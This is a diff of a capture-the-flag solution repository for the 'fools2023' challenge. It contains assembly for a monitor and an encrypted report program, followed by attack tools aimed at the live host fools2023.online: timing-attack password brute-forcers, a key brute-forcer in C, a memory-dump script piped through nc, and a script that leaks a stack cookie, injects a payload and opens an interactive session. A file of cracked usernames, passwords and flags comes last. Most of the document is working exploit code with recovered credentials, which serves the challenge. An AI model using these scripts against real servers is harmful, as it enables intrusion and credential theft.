.ascii "Command}\n\0"
str_help:
.ascii "Available commands:\n"
.ascii "r :: print memory as hex\n"
.ascii "p :: print memory as text\n"
.ascii "w :: write hex data to memory\n"
.ascii "x :: execute memory\n"
.ascii "rf :: load memory from file\n"
.ascii "ls :: print file index\n"
.ascii "h :: print this help message\n"
.ascii "c :: exit monitor and continue\n"
.ascii "Please enter hex numbers when prompted.\n"
.ascii "If necessary for debugging, you can break into monitor\n"
.ascii "with instruction BRK (0x00) and continue with 'c'\n"
.ascii "Note: memory region E000-FFFF is used by monitor\n\0"
str_file_list_header:
.ascii "BLK SIZE NAME\n"
.ascii "=======================\n\0"
str_file_list_entry:
text_ram_byte mem_data
.ascii " "
text_ram_word mem_addr
.ascii " \0" # 0xfa97
str_ready:
.ascii "Ready.\n"
.ascii "> \0"
str_breakpoint:
.ascii "*** BREAK INTO MONITOR AT $"
text_ram_word mem_info_pc
.ascii " ***\n"
.ascii "R0=$"
text_ram_word mem_save_r0
.ascii " R1=$"
text_ram_word mem_save_r1
.ascii " R2=$"
text_ram_word mem_save_r2
.ascii " R3=$"
text_ram_word mem_save_r3
.ascii "\n"
.ascii "SP=$"
text_ram_word mem_info_sp
.ascii " ["
text_ram_byte mem_info_stack + 0
text_ram_byte mem_info_stack + 1
text_ram_byte mem_info_stack + 2
text_ram_byte mem_info_stack + 3
text_ram_byte mem_info_stack + 4
text_ram_byte mem_info_stack + 5
text_ram_byte mem_info_stack + 6
text_ram_byte mem_info_stack + 7
text_ram_byte mem_info_stack + 8
text_ram_byte mem_info_stack + 9
text_ram_byte mem_info_stack + 10
text_ram_byte mem_info_stack + 11
.ascii "]\n\0"
str_hexdump:
text_ram_word mem_addr
.ascii " | "
text_ram_byte mem_data + 0
.ascii " "
text_ram_byte mem_data + 1
.ascii " "
text_ram_byte mem_data + 2
.ascii " "
text_ram_byte mem_data + 3
.ascii " "
text_ram_byte mem_data + 4
.ascii " "
text_ram_byte mem_data + 5
.ascii " "
text_ram_byte mem_data + 6
.ascii " "
text_ram_byte mem_data + 7
.ascii "\n\0"
mem_save_r0:
.2byte 0
mem_save_r1:
.2byte 0
mem_save_r2:
.2byte 0
mem_save_r3:
.2byte 0
mem_info_sp:
.2byte 0
mem_info_pc:
.2byte 0
mem_info_stack:
.fill 12
mem_data:
.fill 8
mem_addr:
.2byte 0
.fill 0xf00 - (. - _start)
stack:
.fill 0xf0
entry:
.fill 0x10

190
prog/report03.asm

@ -0,0 +1,190 @@
.include "instr.inc"
.text
.global _start
_start:
# Get the address of the start of the program
push_pc
pop_r3
# Display the introduction
ld_r2_r3
add_r2 (str_intro - _start)
push_r3
call PrintStr
pop_r3
# Bail if we're not running from the correct address
cp_r3 _start
jp_eq main
ld_r2_r3
add_r2 (str_wrong_address - _start)
jp PrintStr
main:
# Gather the password string
ld_r2 mem_input
ld_r1 18
ld_r0 0
call MemSet
ld_r2 str_password_prompt
call PrintStr
ld_r2 mem_input
ld_r3 15
call ReadStr
ld_r2 mem_input
call StrTrim
# Hash the string
ld_r2 mem_input
ld_r0 0x9fc0
hash_loop:
ldr_r1_r2
inc_r2
cp_r1 0
# r0 = (((r0 * 2) ^ r1) * 2) + r1
shl_r0
xor_r0_r1
shl_r0
add_r0_r1
jp_eq decrypt
jp hash_loop
decrypt:
# Initialize memory
str_r0 mem_hash
ld_r3 mem_encrypted
ld_r2 mem_decrypted
ld_r1 0x200
call MemCpy
# Decrypt the entire buffer
ld_r2 mem_decrypted
ld_r3 0x200 / 2
decrypt_loop:
call update_hash
# *r2 -= mem_hash
ld_r1_r0
ldr_r0_r2
xor_r0_r1
str_r0_r2
inc_r2
inc_r2
dec_r3
cp_r3 0
jp_ne decrypt_loop
# Print out the results
ld_r2 str_result_start
call PrintStr
ld_r2 mem_decrypted
call PrintStr
ld_r2 str_result_end
call PrintStr
ret
update_hash:
# mem_hash = (mem_hash * 0x41a7) ^ 0x5555
ldr_r0 mem_hash
mul_r0 0x41a7
xor_r0 0x5555
str_r0 mem_hash
ret
str_intro:
.ascii "GLITCH RESEARCH LABORATORY SELF-CONTAINED ENCRYPTION TOOL\n\0"
str_wrong_address:
.ascii "PLEASE LOAD ME AT ADDRESS $2000... (EXITING)\n\0"
str_password_prompt:
.ascii "PLEASE ENTER ENCRYPTION PASSWORD: \0"
str_result_start:
.ascii "HERE IS THE ENCRYPTED DOCUMENT: "
str_result_end:
.ascii "\n--\n\0"
mem_input:
.ascii "________________\0\0"
mem_hash:
.ascii "__"
# Padding
.ascii "33333333"
mem_encrypted:
.byte 0xfb, 0x72, 0x3a, 0x22, 0x21, 0x4b, 0x6a, 0xc2
.byte 0x28, 0xe6, 0xe4, 0xc1, 0xa7, 0x25, 0xb6, 0xe0
.byte 0x98, 0xb2, 0x0a, 0xe0, 0x9b, 0xab, 0xc1, 0x84
.byte 0xb8, 0x2d, 0x8f, 0xd8, 0x7e, 0x07, 0x3a, 0xcb
.byte 0xc9, 0xf0, 0xf5, 0x38, 0x51, 0x43, 0xed, 0x52
.byte 0xf8, 0x44, 0xe4, 0xc2, 0x50, 0x22, 0x27, 0x2a
.byte 0x65, 0x44, 0x81, 0x79, 0xc2, 0x6c, 0xb4, 0xaf
.byte 0xd9, 0x9d, 0x7c, 0x74, 0xb3, 0x58, 0xea, 0xcd
.byte 0x69, 0xe2, 0xa2, 0xdf, 0xe7, 0xca, 0xc4, 0x65
.byte 0xe0, 0xe8, 0xf3, 0xbe, 0xee, 0x97, 0x68, 0xad
.byte 0x61, 0x0e, 0x27, 0x78, 0x32, 0x86, 0x6d, 0x5c
.byte 0x02, 0xc2, 0x6e, 0xd1, 0xdf, 0x93, 0x14, 0x4d
.byte 0xcb, 0x1a, 0x90, 0xf4, 0x20, 0x95, 0xc0, 0xd3
.byte 0x1d, 0xe8, 0x73, 0x2b, 0xdb, 0xaf, 0xae, 0x74
.byte 0x7a, 0x1d, 0x50, 0x4a, 0xa6, 0x9d, 0x56, 0xcc
.byte 0xb5, 0x5d, 0x07, 0xd1, 0x04, 0xa7, 0x16, 0x5c
.byte 0x1d, 0x40, 0x4e, 0x65, 0x51, 0xf2, 0x68, 0x0a
.byte 0x4a, 0xb3, 0x56, 0x56, 0xc1, 0x51, 0x1f, 0x0f
.byte 0xc2, 0x7d, 0x4b, 0x29, 0x5b, 0x58, 0x1d, 0x2f
.byte 0xff, 0x66, 0xc0, 0x3c, 0xbb, 0xbb, 0x34, 0x93
.byte 0x30, 0xe6, 0x34, 0xb7, 0x8d, 0xd4, 0x4a, 0xa3
.byte 0xd7, 0x88, 0x00, 0x72, 0xba, 0x13, 0x0c, 0x4d
.byte 0x97, 0x46, 0xe0, 0xbb, 0x07, 0xa6, 0xef, 0xfa
.byte 0x12, 0x0a, 0xfe, 0x56, 0xe9, 0x14, 0x2b, 0xda
.byte 0x64, 0x3c, 0xfe, 0xc5, 0x3c, 0xa3, 0x50, 0x02
.byte 0x20, 0xb7, 0x20, 0x05, 0x3d, 0xdb, 0xf1, 0x8a
.byte 0x81, 0x41, 0x4c, 0x24, 0x52, 0x38, 0x8f, 0xb9
.byte 0x7e, 0x2e, 0x6f, 0x76, 0x1c, 0x3f, 0x97, 0x87
.byte 0x16, 0xd5, 0xd3, 0xc9, 0x70, 0x92, 0xd7, 0xd2
.byte 0x47, 0x59, 0xe6, 0x87, 0x12, 0x2c, 0xe0, 0xa5
.byte 0x6c, 0x17, 0x9c, 0xbe, 0xee, 0xe4, 0xd4, 0x50
.byte 0xea, 0x94, 0x57, 0x91, 0x4f, 0xb1, 0x57, 0xaa
.byte 0x46, 0xe9, 0x86, 0x76, 0xd3, 0xf8, 0xb9, 0xa5
.byte 0x8c, 0x9c, 0x57, 0x56, 0x0a, 0x72, 0x48, 0xc8
.byte 0x14, 0xb6, 0x8b, 0xf2, 0x48, 0x3c, 0x4d, 0xb5
.byte 0x3a, 0x48, 0x07, 0xa6, 0xf2, 0x8e, 0xa3, 0x0b
.byte 0x39, 0x02, 0x75, 0x9b, 0xc8, 0xdc, 0x6f, 0x0a
.byte 0x75, 0x00, 0x52, 0x6d, 0xbf, 0x77, 0x89, 0x2f
.byte 0xce, 0xb0, 0x27, 0xef, 0x42, 0x1e, 0x36, 0xe1
.byte 0x37, 0xc6, 0xf7, 0x77, 0x34, 0x1d, 0x6a, 0xd3
.byte 0xa7, 0x48, 0x6a, 0xc1, 0x7d, 0xe7, 0x76, 0x8c
.byte 0x62, 0x8f, 0x62, 0x8c, 0x5c, 0xe4, 0xf1, 0xf3
.byte 0xfd, 0x5f, 0xb6, 0x9d, 0xb4, 0xd7, 0xa8, 0xa0
.byte 0xcd, 0xde, 0x8b, 0x72, 0x73, 0xe4, 0xfa, 0xe7
.byte 0x33, 0x8f, 0x11, 0x1e, 0xaf, 0xd3, 0x40, 0xa7
.byte 0x86, 0x26, 0xf3, 0x77, 0x4c, 0x6e, 0x2d, 0x2d
.byte 0xa4, 0x03, 0xc2, 0x74, 0x2e, 0xb3, 0xdd, 0x85
.byte 0x29, 0x41, 0x90, 0xc3, 0xc7, 0x3a, 0x96, 0xb9
.byte 0x8e, 0x35, 0xcf, 0x37, 0xc0, 0xc8, 0xff, 0xd5
.byte 0x8b, 0x9f, 0xa1, 0xd9, 0x0f, 0x8e, 0x8e, 0xc6
.byte 0x11, 0xc1, 0xc0, 0xc9, 0x9e, 0x5b, 0x9c, 0xa1
.byte 0x2d, 0xc6, 0x4b, 0xf5, 0x34, 0x65, 0xb4, 0xcc
.byte 0xac, 0x88, 0xbf, 0x49, 0x43, 0x77, 0xac, 0x8f
.byte 0x61, 0x71, 0x8e, 0x59, 0x7f, 0x78, 0xd9, 0x73
.byte 0x41, 0x90, 0x73, 0x8b, 0x8e, 0x93, 0x3f, 0x6e
.byte 0xdd, 0x2e, 0x37, 0xe8, 0x72, 0x43, 0xa1, 0xf3
.byte 0xa9, 0xfe, 0x7f, 0x98, 0xf3, 0xa5, 0x98, 0x43
.byte 0xe5, 0x60, 0xb9, 0x5d, 0xbd, 0xba, 0x3f, 0xae
.byte 0x71, 0xf6, 0xed, 0xc1, 0xfe, 0x8f, 0x2d, 0x15
.byte 0xd9, 0xc6, 0xf7, 0x57, 0x83, 0x57, 0x7e, 0x10
.byte 0xb6, 0xc3, 0x76, 0x29, 0xb1, 0x10, 0x12, 0x1e
.byte 0xea, 0xa1, 0x15, 0x81, 0x9c, 0x22, 0x5f, 0x8a
.byte 0xf3, 0xff, 0x1c, 0x37, 0x4e, 0x57, 0x1b, 0x26
.byte 0x64, 0xb7, 0xca, 0x7c, 0xc8, 0x57, 0xd9, 0x57
mem_decrypted:
.fill 0x200, 1, 0

264
tools/brute_GRLTS02.sh

@ -0,0 +1,264 @@
#!/bin/sh
chars="
3000
3100
3200
3300
3400
3500
3600
3700
3800
3900
6100
6200
6300
6400
6500
6600
6700
6800
6900
6a00
6b00
6c00
6d00
6e00
6f00
7000
7100
7200
7300
7400
7500
7600
7700
7800
7900
7a00
4100
4200
4300
4400
4500
4600
4700
4800
4900
4a00
4b00
4c00
4d00
4e00
4f00
5000
5100
5200
5300
5400
5500
5600
5700
5800
5900
5a00
2000
2100
2200
2300
2400
2500
2600
2700
2800
2900
2a00
2b00
2c00
2d00
2e00
2f00
3a00
3b00
3c00
3d00
3e00
3f00
4000
5b00
5c00
5d00
5e00
5f00
6000
7b00
7c00
7d00
7e00
7f00
8000
8100
8200
8300
8400
8500
8600
8700
8800
8900
8a00
8b00
8c00
8d00
8e00
8f00
9000
9100
9200
9300
9400
9500
9600
9700
9800
9900
9a00
9b00
9c00
9d00
9e00
9f00
a000
a100
a200
a300
a400
a500
a600
a700
a800
a900
aa00
ab00
ac00
ad00
ae00
af00
b000
b100
b200
b300
b400
b500
b600
b700
b800
b900
ba00
bb00
bc00
bd00
be00
bf00
c000
c100
c200
c300
c400
c500
c600
c700
c800
c900
ca00
cb00
cc00
cd00
ce00
cf00
d000
d100
d200
d300
d400
d500
d600
d700
d800
d900
da00
db00
dc00
dd00
de00
df00
e000
e100
e200
e300
e400
e500
e600
e700
e800
e900
ea00
eb00
ec00
ed00
ee00
ef00
f000
f100
f200
f300
f400
f500
f600
f700
f800
f900
fa00
fb00
fc00
fd00
fe00
ff00
0100
0200
0300
0400
0500
0600
0700
0800
0900
0b00
0c00
0d00
0e00
0f00
1000
1100
1200
1300
1400
1500
1600
1700
1800
1900
1a00
1b00
1c00
1d00
1e00
1f00
"
echo "$chars" | xxd -r -p | xargs -P16 -0 -I% ./timepwn_GRLTS02.py "$1"%

46
tools/crack_GRLTS02.py

@ -0,0 +1,46 @@
#!/usr/bin/env python3
# Only possible after dumping GRLTS02 monitor...
# See brute_GRLTS02.sh/timepwn_GRLTS02.py for the initial entry
pass_arwen = [
0xc6, 0x44, 0x99, 0xe3, 0xe9, 0x19, 0x0d, 0x07, 0x0d, 0x12, 0x79
]
pass_shadow = [
0xe9, 0x22, 0xd8, 0x7c, 0x3c, 0x07, 0x54, 0x2d, 0x5e, 0x53, 0x6a, 0xff,
0x80, 0x5e, 0xcd, 0xc8, 0xcf, 0xff, 0x44, 0x74, 0xc8, 0xd8, 0x4b
]
enctable = open("../GRLTS02/ENCTABLE.BIN", "rb").read()
sumtable = []
for x in range(0x100):
b = enctable[x+0x000]
b += enctable[x+0x100]
b += enctable[x+0x200]
b += enctable[x+0x300]
b &= 0xff
sumtable.append(b)
chars = b"{}*02357@BFLOSTXY_degilnps"
def decode(pwd):
dec = bytearray()
for i, x in enumerate(pwd):
# candidates = ""
# for ni, y in enumerate(sumtable):
# if x == y:
# c = (ni - i) & 0xff
# if c < 0x20 or c >= 0x80:
# continue
# candidates += chr(c)
# print(candidates)
for y in chars:
if sumtable[(y + i) & 0xff] == x:
dec.append(y)
break
return dec
print(decode(pass_arwen).decode())
print(decode(pass_shadow).decode())

146
tools/decrypt_REPORT03.c

@ -0,0 +1,146 @@
#define _GNU_SOURCE
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
const uint8_t data[] = {
0xfb, 0x72, 0x3a, 0x22, 0x21, 0x4b, 0x6a, 0xc2,
0x28, 0xe6, 0xe4, 0xc1, 0xa7, 0x25, 0xb6, 0xe0,
0x98, 0xb2, 0x0a, 0xe0, 0x9b, 0xab, 0xc1, 0x84,
0xb8, 0x2d, 0x8f, 0xd8, 0x7e, 0x07, 0x3a, 0xcb,
0xc9, 0xf0, 0xf5, 0x38, 0x51, 0x43, 0xed, 0x52,
0xf8, 0x44, 0xe4, 0xc2, 0x50, 0x22, 0x27, 0x2a,
0x65, 0x44, 0x81, 0x79, 0xc2, 0x6c, 0xb4, 0xaf,
0xd9, 0x9d, 0x7c, 0x74, 0xb3, 0x58, 0xea, 0xcd,
0x69, 0xe2, 0xa2, 0xdf, 0xe7, 0xca, 0xc4, 0x65,
0xe0, 0xe8, 0xf3, 0xbe, 0xee, 0x97, 0x68, 0xad,
0x61, 0x0e, 0x27, 0x78, 0x32, 0x86, 0x6d, 0x5c,
0x02, 0xc2, 0x6e, 0xd1, 0xdf, 0x93, 0x14, 0x4d,
0xcb, 0x1a, 0x90, 0xf4, 0x20, 0x95, 0xc0, 0xd3,
0x1d, 0xe8, 0x73, 0x2b, 0xdb, 0xaf, 0xae, 0x74,
0x7a, 0x1d, 0x50, 0x4a, 0xa6, 0x9d, 0x56, 0xcc,
0xb5, 0x5d, 0x07, 0xd1, 0x04, 0xa7, 0x16, 0x5c,
0x1d, 0x40, 0x4e, 0x65, 0x51, 0xf2, 0x68, 0x0a,
0x4a, 0xb3, 0x56, 0x56, 0xc1, 0x51, 0x1f, 0x0f,
0xc2, 0x7d, 0x4b, 0x29, 0x5b, 0x58, 0x1d, 0x2f,
0xff, 0x66, 0xc0, 0x3c, 0xbb, 0xbb, 0x34, 0x93,
0x30, 0xe6, 0x34, 0xb7, 0x8d, 0xd4, 0x4a, 0xa3,
0xd7, 0x88, 0x00, 0x72, 0xba, 0x13, 0x0c, 0x4d,
0x97, 0x46, 0xe0, 0xbb, 0x07, 0xa6, 0xef, 0xfa,
0x12, 0x0a, 0xfe, 0x56, 0xe9, 0x14, 0x2b, 0xda,
0x64, 0x3c, 0xfe, 0xc5, 0x3c, 0xa3, 0x50, 0x02,
0x20, 0xb7, 0x20, 0x05, 0x3d, 0xdb, 0xf1, 0x8a,
0x81, 0x41, 0x4c, 0x24, 0x52, 0x38, 0x8f, 0xb9,
0x7e, 0x2e, 0x6f, 0x76, 0x1c, 0x3f, 0x97, 0x87,
0x16, 0xd5, 0xd3, 0xc9, 0x70, 0x92, 0xd7, 0xd2,
0x47, 0x59, 0xe6, 0x87, 0x12, 0x2c, 0xe0, 0xa5,
0x6c, 0x17, 0x9c, 0xbe, 0xee, 0xe4, 0xd4, 0x50,
0xea, 0x94, 0x57, 0x91, 0x4f, 0xb1, 0x57, 0xaa,
0x46, 0xe9, 0x86, 0x76, 0xd3, 0xf8, 0xb9, 0xa5,
0x8c, 0x9c, 0x57, 0x56, 0x0a, 0x72, 0x48, 0xc8,
0x14, 0xb6, 0x8b, 0xf2, 0x48, 0x3c, 0x4d, 0xb5,
0x3a, 0x48, 0x07, 0xa6, 0xf2, 0x8e, 0xa3, 0x0b,
0x39, 0x02, 0x75, 0x9b, 0xc8, 0xdc, 0x6f, 0x0a,
0x75, 0x00, 0x52, 0x6d, 0xbf, 0x77, 0x89, 0x2f,
0xce, 0xb0, 0x27, 0xef, 0x42, 0x1e, 0x36, 0xe1,
0x37, 0xc6, 0xf7, 0x77, 0x34, 0x1d, 0x6a, 0xd3,
0xa7, 0x48, 0x6a, 0xc1, 0x7d, 0xe7, 0x76, 0x8c,
0x62, 0x8f, 0x62, 0x8c, 0x5c, 0xe4, 0xf1, 0xf3,
0xfd, 0x5f, 0xb6, 0x9d, 0xb4, 0xd7, 0xa8, 0xa0,
0xcd, 0xde, 0x8b, 0x72, 0x73, 0xe4, 0xfa, 0xe7,
0x33, 0x8f, 0x11, 0x1e, 0xaf, 0xd3, 0x40, 0xa7,
0x86, 0x26, 0xf3, 0x77, 0x4c, 0x6e, 0x2d, 0x2d,
0xa4, 0x03, 0xc2, 0x74, 0x2e, 0xb3, 0xdd, 0x85,
0x29, 0x41, 0x90, 0xc3, 0xc7, 0x3a, 0x96, 0xb9,
0x8e, 0x35, 0xcf, 0x37, 0xc0, 0xc8, 0xff, 0xd5,
0x8b, 0x9f, 0xa1, 0xd9, 0x0f, 0x8e, 0x8e, 0xc6,
0x11, 0xc1, 0xc0, 0xc9, 0x9e, 0x5b, 0x9c, 0xa1,
0x2d, 0xc6, 0x4b, 0xf5, 0x34, 0x65, 0xb4, 0xcc,
0xac, 0x88, 0xbf, 0x49, 0x43, 0x77, 0xac, 0x8f,
0x61, 0x71, 0x8e, 0x59, 0x7f, 0x78, 0xd9, 0x73,
0x41, 0x90, 0x73, 0x8b, 0x8e, 0x93, 0x3f, 0x6e,
0xdd, 0x2e, 0x37, 0xe8, 0x72, 0x43, 0xa1, 0xf3,
0xa9, 0xfe, 0x7f, 0x98, 0xf3, 0xa5, 0x98, 0x43,
0xe5, 0x60, 0xb9, 0x5d, 0xbd, 0xba, 0x3f, 0xae,
0x71, 0xf6, 0xed, 0xc1, 0xfe, 0x8f, 0x2d, 0x15,
0xd9, 0xc6, 0xf7, 0x57, 0x83, 0x57, 0x7e, 0x10,
0xb6, 0xc3, 0x76, 0x29, 0xb1, 0x10, 0x12, 0x1e,
0xea, 0xa1, 0x15, 0x81, 0x9c, 0x22, 0x5f, 0x8a,
0xf3, 0xff, 0x1c, 0x37, 0x4e, 0x57, 0x1b, 0x26,
0x64, 0xb7, 0xca, 0x7c, 0xc8, 0x57, 0xd9, 0x57,
};
uint8_t dec[0x200];
void decrypt(uint16_t key)
{
for (int i = 0; i < 0x200; i += 2) {
key = (key * 0x41a7) ^ 0x5555;
uint16_t d = data[i + 0] << 0 | data[i + 1] << 8;
d ^= key;
dec[i + 0] = d >> 0;
dec[i + 1] = d >> 8;
}
}
uint8_t fools[] = {'F', 'O', 'O', 'L', 'S'};
bool check()
{
return memmem(dec, 0x200, fools, sizeof(fools));
}
uint16_t hash(char *str)
{
uint16_t key = 0x9fc0;
for (;;) {
uint16_t in = str[0] << 0 | str[1] << 8;
key = (((key * 2) ^ in) * 2) + in;
if (*str == 0) break;
str++;
break;
}
return key;
}
int main()
{
uint16_t key = 0;
for (int i = 0xa4; i <= 0xffff; i++) {
decrypt(i);
if (check()) {
fwrite(dec, 0x200, 1, stdout);
key = i;
break;
}
}
printf("\n%04x\n", key);
uint8_t str[16] = {0};
for (;;) {
int i;
for (i = 0; i < 2; i++) {
str[i]++;
//if (str[i] >= 0x7b) {
//str[i] = 0x20;
//continue;
//}
//if (str[i] < 0x30) str[i] = 0x30;
//if (str[i] >= 0x3A && str[i] <= 0x40) str[i] = 0x41;
//if (str[i] >= 0x5B && str[i] <= 0x60) str[i] = 0x61;
if (str[i] == 0x7f) {
str[i] = 0x20;
continue;
}
if (str[i] < 0x20) str[i] = 0x20;
break;
}
if (i >= 2) break;
if (key == hash(str)) {
printf("%s\n", str);
}
}
}

21
tools/dump_GRLINFSRV.sh

@ -0,0 +1,21 @@
#!/bin/sh
set -e
for x in $(seq 240 255); do
for y in $(seq 0 255); do
if [ $y -eq 10 ]; then
out="$(printf 'f0%02x%02x0a710a' 9 $x | xxd -r -p | \
nc fools2023.online 13339 | \
grep '^Welcome,' | \
sed -e 's/^Welcome, \([^!]*\)!*/\1/' | \
cut -c -2)"
echo "$out"
continue
fi
out="$(printf 'f1%02x%02x0a710a' $y $x | xxd -r -p | \
nc fools2023.online 13339 | \
grep '^Welcome,' | \
sed -e 's/^Welcome, \([^!]*\)!*/\1/')"
echo "$out"
done
done

52
tools/monitor_GRLINFSRV.py

@ -0,0 +1,52 @@
#!/usr/bin/env python3
from sys import stdin, stdout
from binascii import unhexlify
import socket
import select
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("fools2023.online", 13339))
# Sniff out the stack cookie
s.send(unhexlify("f14ff7f150f7f151f7f152f70a"))
intro = bytearray()
s.settimeout(0.1)
while True:
try:
intro += s.recv(1024)
except socket.timeout:
break
s.settimeout(None)
intro = intro.decode()
index = intro.find("Welcome, ") + len("Welcome, ")
cookie = unhexlify(intro[index:index+8])
# Patch the stack cookie into the payload
code = bytearray(open("../prog/custom/pwninfsrv.prg", "rb").read())
offs = len(code) - 0x100
code[offs+0] = cookie[0]
code[offs+1] = cookie[1]
code[offs+2] = cookie[2]
code[offs+3] = cookie[3]
# Send the payload
s.send(b"\n")
s.send(code)
s.send(b"\n")
# Send the monitor rom
monitor = open("../prog/MONITOR.PRG", "rb").read()
s.send(monitor[0x1000:])
# Passthrough input
p = select.poll()
p.register(stdin.buffer, select.POLLIN | select.POLLPRI)
p.register(s, select.POLLIN | select.POLLPRI)
while True:
for fd, ev in p.poll():
if fd == stdin.buffer.fileno():
s.send(stdin.buffer.read(1))
if fd == s.fileno():
stdout.buffer.write(s.recv(1))
stdout.buffer.flush()

51
tools/timepwn_GRLTS02.py

@ -0,0 +1,51 @@
#!/usr/bin/env python3
import socket
import time
import sys
def socket_slurp(s):
# Read any data with a 0.1ms timeout
s.settimeout(0.1)
while True:
try:
s.recv(1024)
except socket.timeout:
break
s.settimeout(None)
def socket_readline(s):
line = bytearray()
while True:
c = s.recv(1024)
line += c
if b"\n" in c:
break
return line
def attempt(s, pwd):
s.send(b"ax.arwen\n")
part1 = socket_readline(s)
part2 = socket_readline(s)
s.send(pwd + b"\n")
part1 = socket_readline(s)
time1 = time.time()
part2 = socket_readline(s)
time2 = time.time()
return time2 - time1
pwd = sys.argv[1].encode(sys.getfilesystemencoding(), 'surrogateescape')
print(pwd)
exit()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("fools2023.online", 13338))
socket_slurp(s)
attempts = 4
times = 0
for x in range(attempts):
times += attempt(s, pwd)
times /= attempts
print(pwd, ":", "%.04f" % times)

3
users.txt

@ -0,0 +1,3 @@
sbw.shadow:GlitchResearchLabPas$w0Rd2022!X23
sbw.shadow:FOOLS2023_{Y3d0ngST@il}
ax.arwen:sepiB7705*X
Loading…
Cancel
Save